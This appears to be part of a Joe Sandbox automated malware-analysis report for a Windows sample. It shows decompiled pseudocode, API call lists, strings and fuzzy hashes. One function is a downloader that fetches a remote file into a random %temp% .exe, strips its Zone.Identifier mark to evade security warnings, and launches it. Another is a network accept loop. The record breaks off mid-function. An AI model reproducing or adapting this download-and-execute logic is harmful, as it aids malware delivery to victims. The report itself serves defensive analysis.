                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 3e9ed61a3678467bd833d167d51cb40d2088b290fba561a8cbb3a6dafe00f528
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 9e2a1eb10b929f8126839546a8877f2c0eade21b6a2983bcd4903cfea8125aa5
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3e9ed61a3678467bd833d167d51cb40d2088b290fba561a8cbb3a6dafe00f528
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 06128DB4D052199FCB48CF99D991AEEFBB2BF88300F24856AE415BB345D734AA01CF54
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040EBD8 Relevance: .1, Instructions: 77COMMONCrypto
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 71%
                                                                                                                                                                                                                                                                                                                                                      			E0040EBD8(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E0040ED63(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E0040EE1D(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E0040ED08(_t55, _t66);
										_t89 = _t66 + 0x10;
										E0040ED63(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E0040EDFF(_t82[2], 1);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])();
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}























                                                                                                                                                                                                                                                                                                                                                      0x0040ebdc
                                                                                                                                                                                                                                                                                                                                                      0x0040ebdd
                                                                                                                                                                                                                                                                                                                                                      0x0040ebde
                                                                                                                                                                                                                                                                                                                                                      0x0040ebe1
                                                                                                                                                                                                                                                                                                                                                      0x0040ebe3
                                                                                                                                                                                                                                                                                                                                                      0x0040ebe6
                                                                                                                                                                                                                                                                                                                                                      0x0040ebe7
                                                                                                                                                                                                                                                                                                                                                      0x0040ebe9
                                                                                                                                                                                                                                                                                                                                                      0x0040ebea
                                                                                                                                                                                                                                                                                                                                                      0x0040ebeb
                                                                                                                                                                                                                                                                                                                                                      0x0040ebee
                                                                                                                                                                                                                                                                                                                                                      0x0040ebf8
                                                                                                                                                                                                                                                                                                                                                      0x0040eca9
                                                                                                                                                                                                                                                                                                                                                      0x0040ecb0
                                                                                                                                                                                                                                                                                                                                                      0x0040ecb9
                                                                                                                                                                                                                                                                                                                                                      0x0040ebfe
                                                                                                                                                                                                                                                                                                                                                      0x0040ebfe
                                                                                                                                                                                                                                                                                                                                                      0x0040ec04
                                                                                                                                                                                                                                                                                                                                                      0x0040ec0a
                                                                                                                                                                                                                                                                                                                                                      0x0040ec0d
                                                                                                                                                                                                                                                                                                                                                      0x0040ec10
                                                                                                                                                                                                                                                                                                                                                      0x0040ec14
                                                                                                                                                                                                                                                                                                                                                      0x0040ec19
                                                                                                                                                                                                                                                                                                                                                      0x0040ec1e
                                                                                                                                                                                                                                                                                                                                                      0x0040ec9e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ec20
                                                                                                                                                                                                                                                                                                                                                      0x0040ec20
                                                                                                                                                                                                                                                                                                                                                      0x0040ec2c
                                                                                                                                                                                                                                                                                                                                                      0x0040ec2e
                                                                                                                                                                                                                                                                                                                                                      0x0040ec89
                                                                                                                                                                                                                                                                                                                                                      0x0040ec89
                                                                                                                                                                                                                                                                                                                                                      0x0040ec8f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ec30
                                                                                                                                                                                                                                                                                                                                                      0x0040ec3f
                                                                                                                                                                                                                                                                                                                                                      0x0040ec41
                                                                                                                                                                                                                                                                                                                                                      0x0040ec42
                                                                                                                                                                                                                                                                                                                                                      0x0040ec43
                                                                                                                                                                                                                                                                                                                                                      0x0040ec46
                                                                                                                                                                                                                                                                                                                                                      0x0040ec46
                                                                                                                                                                                                                                                                                                                                                      0x0040ec48
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ec4a
                                                                                                                                                                                                                                                                                                                                                      0x0040ec4a
                                                                                                                                                                                                                                                                                                                                                      0x0040ec94
                                                                                                                                                                                                                                                                                                                                                      0x0040ec4c
                                                                                                                                                                                                                                                                                                                                                      0x0040ec4c
                                                                                                                                                                                                                                                                                                                                                      0x0040ec50
                                                                                                                                                                                                                                                                                                                                                      0x0040ec58
                                                                                                                                                                                                                                                                                                                                                      0x0040ec5d
                                                                                                                                                                                                                                                                                                                                                      0x0040ec62
                                                                                                                                                                                                                                                                                                                                                      0x0040ec6e
                                                                                                                                                                                                                                                                                                                                                      0x0040ec76
                                                                                                                                                                                                                                                                                                                                                      0x0040ec7d
                                                                                                                                                                                                                                                                                                                                                      0x0040ec83
                                                                                                                                                                                                                                                                                                                                                      0x0040ec87
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ec87
                                                                                                                                                                                                                                                                                                                                                      0x0040ec4a
                                                                                                                                                                                                                                                                                                                                                      0x0040ec48
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ec2e
                                                                                                                                                                                                                                                                                                                                                      0x0040eca2
                                                                                                                                                                                                                                                                                                                                                      0x0040eca2
                                                                                                                                                                                                                                                                                                                                                      0x0040eca2
                                                                                                                                                                                                                                                                                                                                                      0x0040ec1e
                                                                                                                                                                                                                                                                                                                                                      0x0040ecbe
                                                                                                                                                                                                                                                                                                                                                      0x0040ecc5

                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 403510b0cf44a19509243faff8fda87969da86ef6f1582569b9df3b225e8f989
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: bb10bc20a06c5733c7c0f2df444eaf0a5efc6c6e2a94564bdfe98185847e6df3
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 403510b0cf44a19509243faff8fda87969da86ef6f1582569b9df3b225e8f989
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C22108329042049BDB14DF6AC8C0867BBA5FF44310B09887AED199B285D735F925CBE0
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D3E0 Relevance: 73.7, APIs: 35, Strings: 7, Instructions: 243filesleepnetworkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 83%
                                                                                                                                                                                                                                                                                                                                                      			E0040D3E0(char* _a4, char _a8) {
				short _v524;
				short _v1044;
				signed char _v1045;
				short _v1572;
				void* _v1576;
				void* _v1580;
				short _v2100;
				void _v2364;
				long _v2368;
				long _v2372;
				void* _v2376;
				intOrPtr* _v2380;
				intOrPtr _v2384;
				char _v2385;
				intOrPtr _v2392;
				signed int _t88;
				signed int _t90;
				int _t96;
				signed int _t97;
				signed int _t99;
				signed int _t101;
				signed int _t111;
				signed char _t125;
				signed char _t127;
				void* _t181;
				void* _t182;
				void* _t184;

				srand(GetTickCount());
				_t182 = _t181 + 4;
				_v1045 = 0;
				ExpandEnvironmentStringsW(L"%temp%",  &_v2100, 0x104);
				_v2380 = _a4;
				_v2384 = _v2380 + 1;
				do {
					_v2385 =  *_v2380;
					_v2380 = _v2380 + 1;
				} while (_v2385 != 0);
				_v2392 = _v2380 - _v2384;
				mbstowcs( &_v1044, _a4, _v2392 + 1);
				_t88 = rand();
				asm("cdq");
				_t90 = rand();
				asm("cdq");
				wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t90 % 0x7fff + 0x3e8, _t88 % 0x7fff + 0x3e8);
				_t184 = _t182 + 0x20;
				_v2376 = InternetOpenW(L"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36", 0, 0, 0, 0);
				if(_v2376 != 0) {
					_v1576 = InternetOpenUrlW(_v2376,  &_v1044, 0, 0, 0, 0);
					if(_v1576 != 0) {
						_v1580 = CreateFileW( &_v1572, 0x40000000, 0, 0, 2, 0, 0);
						if(_v1580 != 0xffffffff) {
							while(InternetReadFile(_v1576,  &_v2364, 0x103,  &_v2372) != 0 && _v2372 != 0) {
								WriteFile(_v1580,  &_v2364, _v2372,  &_v2368, 0);
							}
							CloseHandle(_v1580);
							wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
							DeleteFileW( &_v524);
							Sleep(0x3e8);
							_t125 = E0040D0C0( &_v1572);
							_t184 = _t184 + 0x10;
							if((_t125 & 0x000000ff) == 0) {
								DeleteFileW( &_v1572);
							} else {
								Sleep(0x7d0);
								_t127 = E0040D280( &_v1572);
								_t184 = _t184 + 4;
								if((_t127 & 0x000000ff) == 1) {
									_t51 =  &_a8; // 0x405d51
									if(( *_t51 & 0x000000ff) == 1) {
										ExitProcess(0);
									}
									_v1045 = 1;
								}
							}
						}
						CloseHandle(_v1580);
					}
					InternetCloseHandle(_v1576);
				}
				InternetCloseHandle(_v2376);
				Sleep(0x3e8);
				_t96 = _v1045 & 0x000000ff;
				if(_t96 == 0) {
					_t97 = rand();
					asm("cdq");
					Sleep(0x1388 + _t97 % 0xea60 * 5);
					_t99 = rand();
					asm("cdq");
					_t101 = rand();
					asm("cdq");
					_t96 = wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t101 % 0x7fff + 0x3e8, _t99 % 0x7fff + 0x3e8);
					_push(0);
					_push(0);
					_push( &_v1572);
					_push( &_v1044);
					_push(0);
					L0040EBA2();
					if(_t96 == 0) {
						wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
						DeleteFileW( &_v524);
						Sleep(0x3e8);
						if((E0040D0C0( &_v1572) & 0x000000ff) == 0) {
							return DeleteFileW( &_v1572);
						}
						Sleep(0x7d0);
						_t111 = E0040D280( &_v1572) & 0x000000ff;
						if(_t111 == 0) {
							L23:
							return _t111;
						}
						_t79 =  &_a8; // 0x405d51
						if(( *_t79 & 0x000000ff) != 1) {
							goto L23;
						}
						ExitProcess(0);
					}
				}
				return _t96;
			}






























                                                                                                                                                                                                                                                                                                                                                      0x0040d3f0
                                                                                                                                                                                                                                                                                                                                                      0x0040d3f5
                                                                                                                                                                                                                                                                                                                                                      0x0040d3f8
                                                                                                                                                                                                                                                                                                                                                      0x0040d410
                                                                                                                                                                                                                                                                                                                                                      0x0040d419
                                                                                                                                                                                                                                                                                                                                                      0x0040d428
                                                                                                                                                                                                                                                                                                                                                      0x0040d42e
                                                                                                                                                                                                                                                                                                                                                      0x0040d436
                                                                                                                                                                                                                                                                                                                                                      0x0040d43c
                                                                                                                                                                                                                                                                                                                                                      0x0040d443
                                                                                                                                                                                                                                                                                                                                                      0x0040d458
                                                                                                                                                                                                                                                                                                                                                      0x0040d473
                                                                                                                                                                                                                                                                                                                                                      0x0040d47b
                                                                                                                                                                                                                                                                                                                                                      0x0040d480
                                                                                                                                                                                                                                                                                                                                                      0x0040d48f
                                                                                                                                                                                                                                                                                                                                                      0x0040d494
                                                                                                                                                                                                                                                                                                                                                      0x0040d4b6
                                                                                                                                                                                                                                                                                                                                                      0x0040d4bc
                                                                                                                                                                                                                                                                                                                                                      0x0040d4d2
                                                                                                                                                                                                                                                                                                                                                      0x0040d4df
                                                                                                                                                                                                                                                                                                                                                      0x0040d501
                                                                                                                                                                                                                                                                                                                                                      0x0040d50e
                                                                                                                                                                                                                                                                                                                                                      0x0040d530
                                                                                                                                                                                                                                                                                                                                                      0x0040d53d
                                                                                                                                                                                                                                                                                                                                                      0x0040d543
                                                                                                                                                                                                                                                                                                                                                      0x0040d58e
                                                                                                                                                                                                                                                                                                                                                      0x0040d58e
                                                                                                                                                                                                                                                                                                                                                      0x0040d59d
                                                                                                                                                                                                                                                                                                                                                      0x0040d5b6
                                                                                                                                                                                                                                                                                                                                                      0x0040d5c6
                                                                                                                                                                                                                                                                                                                                                      0x0040d5d1
                                                                                                                                                                                                                                                                                                                                                      0x0040d5de
                                                                                                                                                                                                                                                                                                                                                      0x0040d5e3
                                                                                                                                                                                                                                                                                                                                                      0x0040d5eb
                                                                                                                                                                                                                                                                                                                                                      0x0040d630
                                                                                                                                                                                                                                                                                                                                                      0x0040d5ed
                                                                                                                                                                                                                                                                                                                                                      0x0040d5f2
                                                                                                                                                                                                                                                                                                                                                      0x0040d5ff
                                                                                                                                                                                                                                                                                                                                                      0x0040d604
                                                                                                                                                                                                                                                                                                                                                      0x0040d60d
                                                                                                                                                                                                                                                                                                                                                      0x0040d60f
                                                                                                                                                                                                                                                                                                                                                      0x0040d616
                                                                                                                                                                                                                                                                                                                                                      0x0040d61a
                                                                                                                                                                                                                                                                                                                                                      0x0040d61a
                                                                                                                                                                                                                                                                                                                                                      0x0040d620
                                                                                                                                                                                                                                                                                                                                                      0x0040d620
                                                                                                                                                                                                                                                                                                                                                      0x0040d627
                                                                                                                                                                                                                                                                                                                                                      0x0040d5eb
                                                                                                                                                                                                                                                                                                                                                      0x0040d63d
                                                                                                                                                                                                                                                                                                                                                      0x0040d63d
                                                                                                                                                                                                                                                                                                                                                      0x0040d64a
                                                                                                                                                                                                                                                                                                                                                      0x0040d64a
                                                                                                                                                                                                                                                                                                                                                      0x0040d657
                                                                                                                                                                                                                                                                                                                                                      0x0040d662
                                                                                                                                                                                                                                                                                                                                                      0x0040d668
                                                                                                                                                                                                                                                                                                                                                      0x0040d671
                                                                                                                                                                                                                                                                                                                                                      0x0040d677
                                                                                                                                                                                                                                                                                                                                                      0x0040d67c
                                                                                                                                                                                                                                                                                                                                                      0x0040d68e
                                                                                                                                                                                                                                                                                                                                                      0x0040d694
                                                                                                                                                                                                                                                                                                                                                      0x0040d699
                                                                                                                                                                                                                                                                                                                                                      0x0040d6a8
                                                                                                                                                                                                                                                                                                                                                      0x0040d6ad
                                                                                                                                                                                                                                                                                                                                                      0x0040d6cf
                                                                                                                                                                                                                                                                                                                                                      0x0040d6d8
                                                                                                                                                                                                                                                                                                                                                      0x0040d6da
                                                                                                                                                                                                                                                                                                                                                      0x0040d6e2
                                                                                                                                                                                                                                                                                                                                                      0x0040d6e9
                                                                                                                                                                                                                                                                                                                                                      0x0040d6ea
                                                                                                                                                                                                                                                                                                                                                      0x0040d6ec
                                                                                                                                                                                                                                                                                                                                                      0x0040d6f3
                                                                                                                                                                                                                                                                                                                                                      0x0040d70c
                                                                                                                                                                                                                                                                                                                                                      0x0040d71c
                                                                                                                                                                                                                                                                                                                                                      0x0040d727
                                                                                                                                                                                                                                                                                                                                                      0x0040d741
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d77e
                                                                                                                                                                                                                                                                                                                                                      0x0040d748
                                                                                                                                                                                                                                                                                                                                                      0x0040d75d
                                                                                                                                                                                                                                                                                                                                                      0x0040d762
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d764
                                                                                                                                                                                                                                                                                                                                                      0x0040d76b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d76f
                                                                                                                                                                                                                                                                                                                                                      0x0040d76f
                                                                                                                                                                                                                                                                                                                                                      0x0040d6f3
                                                                                                                                                                                                                                                                                                                                                      0x0040d787

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040D3E9
                                                                                                                                                                                                                                                                                                                                                      • srand.MSVCRT ref: 0040D3F0
                                                                                                                                                                                                                                                                                                                                                      • ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040D410
                                                                                                                                                                                                                                                                                                                                                      • mbstowcs.NTDLL ref: 0040D473
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D47B
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D48F
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0040D4B6
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenW.WININET(Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040D4CC
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D4FB
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D52A
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040D55D
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040D58E
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D59D
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0040D5B6
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040D5C6
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 0040D61A
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000007D0), ref: 0040D5F2
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D280: memset.NTDLL ref: 0040D28E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D280: CreateProcessW.KERNELBASE ref: 0040D2D5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D280: Sleep.KERNELBASE(000003E8), ref: 0040D2E5
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040D630
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D63D
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040D64A
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040D657
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D662
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D677
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32 ref: 0040D68E
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D694
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D6A8
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0040D6CF
                                                                                                                                                                                                                                                                                                                                                      • URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040D6EC
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0040D70C
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040D71C
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D727
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D5D1
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D0C0: CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D0F4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D0C0: CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D115
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D0C0: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D134
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D0C0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D14D
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000007D0), ref: 0040D748
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 0040D76F
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040D77E
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$Sleep$Internetrand$CloseCreateDeleteHandlewsprintf$Process$ExitOpen$CountDownloadEnvironmentExpandMappingReadSizeStringsTickViewWritembstowcsmemsetsrand
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36$Q]@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3135114409-3988953271
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6637c7b37de78845bbf44562d70589230bf1cf34132941227ae06b1e990c5d1f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: aef3b5e2bb5123bdf9127001507d8ae34f8638f911c95bd468b543b242c542dc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6637c7b37de78845bbf44562d70589230bf1cf34132941227ae06b1e990c5d1f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2291C7B1D41318ABE720DB51DC45FE97779AB88705F0084AAF60EA21C1DAB99BC4CF18
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E2F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138networksynchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 412 40e2f0-40e317 GetTickCount WaitForSingleObject 413 40e499-40e49f 412->413 414 40e31d-40e334 WSAWaitForMultipleEvents 412->414 415 40e3c0-40e3d3 GetTickCount 414->415 416 40e33a-40e351 WSAEnumNetworkEvents 414->416 417 40e413-40e41c GetTickCount 415->417 418 40e3d5-40e3e4 EnterCriticalSection 415->418 416->415 419 40e353-40e358 416->419 420 40e485-40e493 WaitForSingleObject 417->420 421 40e41e-40e42d EnterCriticalSection 417->421 422 40e3e6-40e3ed 418->422 423 40e40a-40e411 LeaveCriticalSection 418->423 419->415 424 40e35a-40e360 419->424 420->413 420->414 426 40e471-40e481 LeaveCriticalSection GetTickCount 421->426 427 40e42f-40e447 InterlockedExchangeAdd call 40bd50 421->427 428 40e405 call 40e1f0 422->428 429 40e3ef-40e3f7 422->429 423->420 424->415 425 40e362-40e381 accept 424->425 425->415 431 40e383-40e392 call 40de80 425->431 426->420 437 40e467-40e46f 427->437 438 40e449-40e452 427->438 428->423 429->422 433 40e3f9-40e400 LeaveCriticalSection 429->433 431->415 439 40e394-40e3af call 40e110 431->439 433->420 437->426 437->427 438->437 440 40e454-40e45d call 4094f0 438->440 439->415 445 40e3b1-40e3b7 439->445 440->437 445->415 446 40e3b9-40e3bb call 40e6c0 445->446 446->415
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 82%
                                                                                                                                                                                                                                                                                                                                                      			E0040E2F0(intOrPtr* _a4) {
				intOrPtr _v64;
				char _v68;
				long _v72;
				signed char _v80;
				long _v92;
				char _v96;
				char _v100;
				void* __ebx;
				void* __edi;
				void* __ebp;
				long _t31;
				long _t33;
				long _t34;
				long _t42;
				intOrPtr _t49;
				intOrPtr* _t56;
				intOrPtr _t70;
				intOrPtr* _t73;
				long _t74;
				intOrPtr _t75;
				struct _CRITICAL_SECTION* _t76;
				intOrPtr* _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t81 = (_t79 & 0xfffffff8) - 0x44;
				_t31 = GetTickCount();
				_t56 = _a4;
				_v72 = _t31;
				_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				if(_t33 == 0) {
					L25:
					return _t33;
				} else {
					goto L1;
				}
				do {
					L1:
					_t73 = _t56 + 0x18;
					__imp__WSAWaitForMultipleEvents(1, _t73, 0, 0, 0);
					if(_t33 != 0x102) {
						__imp__WSAEnumNetworkEvents( *((intOrPtr*)(_t56 + 0x14)),  *_t73,  &_v68);
						if((_v80 & 0x00000008) != 0 && _v64 == 0 &&  *_t56 == 0x494f4350) {
							_t49 =  *((intOrPtr*)(_t56 + 0x14));
							_v100 = 0x10;
							__imp__#1(_t49,  &_v96,  &_v100);
							if(_t49 != 0xffffffff) {
								_t77 = E0040DE80(_t56, _t49);
								_t81 = _t81 + 4;
								if(_t77 != 0) {
									_t15 = _t77 + 0x264; // 0x264
									E0040E110(0, _t77, _t56, _t15);
									_t81 = _t81 + 8;
									if( *((char*)(_t77 + 0x274)) == 0 &&  *_t77 == 0x69636c69) {
										E0040E6C0(_t77);
									}
								}
							}
						}
					}
					_t34 = GetTickCount();
					_t74 = _v92;
					if(_t34 - _t74 < 0x3e8) {
						if(GetTickCount() - _t74 < 0x2710) {
							goto L24;
						}
						EnterCriticalSection(_t56 + 0x20);
						_t75 =  *((intOrPtr*)(_t56 + 0x38));
						if(_t75 == 0) {
							L23:
							LeaveCriticalSection(_t56 + 0x20);
							_v92 = GetTickCount();
							goto L24;
						} else {
							goto L19;
						}
						do {
							L19:
